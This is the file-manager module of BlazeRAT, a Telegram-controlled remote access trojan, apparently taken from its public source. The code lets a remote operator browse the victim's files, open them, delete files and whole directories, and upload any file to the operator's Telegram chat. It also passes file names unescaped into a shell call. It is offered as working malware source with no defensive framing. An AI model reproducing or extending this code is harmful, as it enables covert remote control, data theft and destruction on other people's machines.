filemanager.py 3.6 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121
  1. #!/usr/bin/python3
  2. # -*- coding: utf-8 -*-
  3. # Import modules
  4. from shutil import rmtree
  5. from telebot import types
  6. import core.logger as Logger
  7. import core.messages as Messages
  8. from services.shell import ChangeDir
  9. from services.transfer import UploadFile
  10. from os import path, listdir, getcwd, remove, system
  11. """
  12. Author : LimerBoy
  13. github.com/LimerBoy/BlazeRAT
  14. Notes :
  15. The file is needed
  16. to work with files.
  17. """
  18. # Это говно я писал когда бухал.
  19. # Такшо говнокод это норма!
  20. # For messages
  21. FILE_ACTIONS = {
  22. "FC1": "Open",
  23. "FC2": "Delete",
  24. "FC3": "Download",
  25. }
  26. """ Get char by file """
  27. def GetFmt(file: str) -> str:
  28. if path.isfile(file):
  29. return "📄 " + file
  30. else:
  31. return "📂 " + file
  32. """ Open file or change directory """
  33. def OpenPath(file: str, chatid: int, bot) -> None:
  34. if path.isfile(file):
  35. system("xdg-open " + file)
  36. bot.send_message(chatid, Messages.file.start_file_success % file)
  37. else:
  38. response = ChangeDir(file)
  39. Filemanager(chatid, bot)
  40. bot.send_message(chatid, response)
  41. """ Remove file or directory """
  42. def DeletePath(file: str, chatid: int, bot) -> None:
  43. # Delete file
  44. if path.isfile(file):
  45. try:
  46. remove(file)
  47. except Exception as error:
  48. bot.send_message(chatid, Messages.file.remove_file_failed % (error.args[-1], file))
  49. else:
  50. bot.send_message(chatid, Messages.file.remove_file_success % file)
  51. # Delete directory
  52. else:
  53. try:
  54. rmtree(file)
  55. except Exception as error:
  56. bot.send_message(chatid, Messages.file.remove_directory_failed % (error.args[-1], file))
  57. else:
  58. bot.send_message(chatid, Messages.file.remove_directory_success % file)
  59. """ Enumerate files and dirs to telebot markup """
  60. def EnumFiles():
  61. found = []
  62. # Get files
  63. for file in listdir(getcwd()):
  64. found.append(GetFmt(file))
  65. # Telegram inline keyboard markup
  66. markup = types.InlineKeyboardMarkup()
  67. sortfiles = sorted(found)
  68. sortfiles.insert(0, "..")
  69. for file in sortfiles:
  70. if file == "..":
  71. markup.add(types.InlineKeyboardButton(text="⬆️ Parent directory", callback_data="FA.."))
  72. else:
  73. markup.add(types.InlineKeyboardButton(text=file, callback_data="FA" + file[2:]))
  74. return markup
  75. """ Open file control menu """
  76. def OpenFileActionsMenu(callback: dict, bot) -> None:
  77. file = callback.data[2:]
  78. chatid = callback.from_user.id
  79. # Chdir to parent directory
  80. if file == "..":
  81. return OpenPath("..", chatid, bot)
  82. # Send actions
  83. markup = types.InlineKeyboardMarkup()
  84. for action in FILE_ACTIONS.keys():
  85. markup.add(types.InlineKeyboardButton(text=FILE_ACTIONS[action], callback_data=action + file))
  86. bot.send_message(chatid,
  87. "🗄 Filemanager:\n" + GetFmt(path.abspath(file)),
  88. reply_markup=markup
  89. )
  90. """ Make file action """
  91. def MakeFileAction(callback: dict, bot) -> None:
  92. file = path.abspath(callback.data[3:])
  93. action = FILE_ACTIONS[callback.data[:3]]
  94. chatid = callback.from_user.id
  95. # Log
  96. Logger.Log(f"Filemanager action '{action}', taget file: '{file}'", chatid)
  97. # Action
  98. if action == "Open":
  99. OpenPath(file, chatid, bot)
  100. elif action == "Delete":
  101. DeletePath(file, chatid, bot)
  102. elif action == "Download":
  103. UploadFile(file, chatid, bot)
  104. """ Open filemanager interface """
  105. def Filemanager(chatid: int, bot) -> None:
  106. markup = EnumFiles()
  107. bot.send_message(chatid, "🗄 Filemanager:\n" + GetFmt(path.abspath(getcwd())), reply_markup=markup)